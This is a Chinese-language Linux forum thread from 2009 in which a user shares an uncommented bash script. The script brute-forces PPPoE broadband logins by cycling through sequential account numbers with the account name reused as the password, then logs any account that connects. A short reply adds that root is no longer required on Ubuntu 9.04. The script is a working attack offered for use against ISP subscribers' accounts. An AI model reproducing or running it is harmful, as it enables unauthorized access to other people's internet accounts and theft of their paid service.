分享一个有趣的脚本,对于特定的人或许有用。

不同视角、不同观点、深度探讨,禁止人品和道德攻击
回复
qdzheng
帖子: 277
注册时间: 2006-12-03 23:00

分享一个有趣的脚本,对于特定的人或许有用。

#1

帖子 qdzheng » 2009-06-09 6:29

做什么用处,就不多嘴了。我特意删去了注释,大家自己看了。

代码: 全选

#!/bin/bash
if [ $UID != 0 ]; then
	echo Must be root  to execute this script.
	exit 0
fi
date
for((i=$2;i<=$3;i++)) do
	t="0000$i"
	let len=8-`expr length $1`
	let idx=`expr length $t`-$len+1
	t=`expr substr $t $idx $len`
	t="a$1$t@jn"
	pppd noipdefault defaultroute hide-password persist plugin rp-pppoe.so eth0 noauth user "$t" password "$t" logfile /var/log/ppp-$1-$2-$3.log maxfail 1
	for((dc=0;dc<60;dc++)) do
		sleep 1
		let pc=`ps -A|grep pppd|wc -l`
		if [ $pc -gt 0 ]; then
			#echo $dc
			continue
		fi
		break
	done	
	
	let authfailed=`tail -n 4 /var/log/ppp-$1-$2-$3.log | grep "PAP authentication failed"|wc -l`
	if [ $authfailed -gt 0 ]; then
		echo $t is give up.
		continue
	fi
	date
	let s=`ifconfig | grep ppp | wc -l`
	if [ $s -gt 0 ]; then
		echo $t>>/var/log/success-pppd.log
		echo found it.
		exit 0
	else
		echo 'current mac address is using, break.'
		exit 1 
	fi
done
echo not found.
exit 1
好吧,听某人的建议,修改下签名。
头像
qqttdh
帖子: 896
注册时间: 2007-07-20 22:15

Re: 分享一个有趣的脚本,对于特定的人或许有用。

#2

帖子 qqttdh » 2009-06-09 8:03

这个9.04都不用root权限了
发言并不是一种义务,最喜欢的回答是不知道
两个手指点击,居然默认就是鼠标中键功能
右上角是中键,右下角是左键
Grub真小,才512B
零度电子书(Unix&Linux)
http://books.05sun.com/downlist/s_62_3.html
win7恢复能力不如xp,ubuntu相对较稳定。。。待机恢复起来似乎。。。
回复